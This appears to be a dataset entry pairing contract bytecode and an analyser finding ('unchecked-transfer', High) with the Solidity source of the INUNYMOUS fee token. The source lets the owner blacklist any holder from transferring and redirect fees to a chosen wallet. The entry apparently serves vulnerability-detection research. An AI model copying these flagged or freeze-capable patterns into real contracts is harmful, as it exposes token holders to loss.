ffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdb57600080fd5b8060098190555050565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561107b5780601f106110505761010080835404028352916020019161107b565b820191906000526020600020905b81548152906001019060200180831161105e57829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d057600080fd5b8015600160146101000a81548160ff02191690831515021790555050565b60025481565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125557600080fd5b6112628585858585612902565b5050505050565b6000600160149054906101000a900460ff16151561128357fe5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561134e575081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156113875750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611618576113d5600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611461600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152a600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061161d565b600090505b9392505050565b600660009054906101000a900460ff1681565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116f35780601f106116c8576101008083540402835291602001916116f3565b820191906000526020600020905b8154815290600101906020018083116116d657829003601f168201915b505050505081565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175c57600080fd5b600954811015151561176d57600080fd5b80600a8190555050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156117d557600080fd5b6117e182600b54610d3e565b9050600c5481111515156117f457600080fd5b600a54421115801561180857506009544210155b151561181357600080fd5b61181f600c5482610da6565b600c819055508273ffffffffffffffffffffffffffffffffffffffff166323b872dd33600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561191e57600080fd5b505af1158015611932573d6000803e3d6000fd5b505050506040513d602081101561194857600080fd5b8101908080519060200190929190505050151561196457600080fd5b61196e3382610dc7565b7f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2157600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c5e57600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c9a57600080fd5b611ca6600254846128e1565b600281905550611cf5600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e9157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611faa57600080fd5b80600b8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561206f5780601f106120445761010080835404028352916020019161206f565b820191906000526020600020905b81548152906001019060200180831161205257829003601f168201915b505050505081565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561219b57600080fd5b505af11580156121af573d6000803e3d6000fd5b505050506040513d60208110156121c557600080fd5b8101908080519060200190929190505050505050565b600b5481565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061226757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561227257600080fd5b6122bb600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610da6565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230a60025482610da6565b6002819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f9a1b418bc061a5d80270261562e6986a35d995f8051145f277be16103abd3453816040518082815260200191505060405180910390a15050565b6000600160149054906101000a900460ff1615156123ca57fe5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156124465750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125d157612494600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612520600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506125d6565b600090505b92915050565b600160149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561264a57600080fd5b80600c8190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126d557600080fd5b6000600d60006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061273e8686868686612902565b505050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900460ff1681565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561284157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561289d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101515156128f857600080fd5b8091505092915050565b600060095414151561291357600080fd5b8460098190555083600a8190555082600b8190555081600c8190555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f65b937d460c7c5cfeac1c37e5cbf1f4d6136747e3b2c9f1773d2d61cef193b5b600954600a54600b54600c5442604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a150505050505600a165627a7a72305820ccc0f7330f54a768e0bbf0fdc46db25384c2b5f3310dd42cac9fd3f6cc0122c30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,418 |
0x754d2f32e69650d569f2771c5ef7f4cb0520a1fb
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/**
*https://t.me/inunymous
*https://inunymous.com/
*INUnymous presents you a better, secure and confidential way to pay.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract INUNYMOUS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "INUNYMOUS";
string private constant _symbol = "INUNYMOUS";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen);
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c0578063cf0848f7146103d5578063cf9d4afa146103f5578063dd62ed3e14610415578063e6ec64ec1461045b578063f2fde38b1461047b57600080fd5b8063715018a6146103235780638da5cb5b1461033857806390d49b9d1461036057806395d89b4114610172578063a9059cbb14610380578063b515566a146103a057600080fd5b806331c2d8471161010857806331c2d8471461023c5780633bbac5791461025c578063437823ec14610295578063476343ee146102b55780635342acb4146102ca57806370a082311461030357600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b357806318160ddd146101e357806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049b565b005b34801561017e57600080fd5b506040805180820182526009815268494e554e594d4f555360b81b602082015290516101aa91906117ba565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce366004611834565b6104e7565b60405190151581526020016101aa565b3480156101ef57600080fd5b50678ac7230489e800005b6040519081526020016101aa565b34801561021457600080fd5b506101d3610223366004611860565b6104fe565b34801561023457600080fd5b5060096101fa565b34801561024857600080fd5b506101706102573660046118b7565b610567565b34801561026857600080fd5b506101d361027736600461197c565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a157600080fd5b506101706102b036600461197c565b6105fd565b3480156102c157600080fd5b5061017061064b565b3480156102d657600080fd5b506101d36102e536600461197c565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030f57600080fd5b506101fa61031e36600461197c565b610685565b34801561032f57600080fd5b506101706106a7565b34801561034457600080fd5b506000546040516001600160a01b0390911681526020016101aa565b34801561036c57600080fd5b5061017061037b36600461197c565b6106dd565b34801561038c57600080fd5b506101d361039b366004611834565b610757565b3480156103ac57600080fd5b506101706103bb3660046118b7565b610764565b3480156103cc57600080fd5b5061017061087d565b3480156103e157600080fd5b506101706103f036600461197c565b610934565b34801561040157600080fd5b5061017061041036600461197c565b61097f565b34801561042157600080fd5b506101fa610430366004611999565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046757600080fd5b506101706104763660046119d2565b610bda565b34801561048757600080fd5b5061017061049636600461197c565b610c17565b6000546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104c5906119eb565b60405180910390fd5b60006104d930610685565b90506104e481610caf565b50565b60006104f4338484610e29565b5060015b92915050565b600061050b848484610f4d565b61055d843361055885604051806060016040528060288152602001611b66602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112a3565b610e29565b5060019392505050565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104c5906119eb565b60005b81518110156105f9576000600560008484815181106105b5576105b5611a20565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f181611a4c565b915050610594565b5050565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016104c5906119eb565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f8906112dd565b6000546001600160a01b031633146106d15760405162461bcd60e51b81526004016104c5906119eb565b6106db6000611361565b565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104c5906119eb565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f4338484610f4d565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104c5906119eb565b60005b81518110156105f957600c5482516001600160a01b03909116908390839081106107bd576107bd611a20565b60200260200101516001600160a01b03161415801561080e5750600b5482516001600160a01b03909116908390839081106107fa576107fa611a20565b60200260200101516001600160a01b031614155b1561086b5760016005600084848151811061082b5761082b611a20565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087581611a4c565b915050610791565b6000546001600160a01b031633146108a75760405162461bcd60e51b81526004016104c5906119eb565b600c54600160a01b900460ff1661090b5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c5565b600c805460ff60b81b1916600160b81b17905542600d81905561092f906078611a67565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c5906119eb565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c5906119eb565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611a7f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611a7f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611a7f565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c5906119eb565b600f811115610c1257600080fd5b600855565b6000546001600160a01b03163314610c415760405162461bcd60e51b81526004016104c5906119eb565b6001600160a01b038116610ca65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c5565b6104e481611361565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf757610cf7611a20565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d749190611a7f565b81600181518110610d8757610d87611a20565b600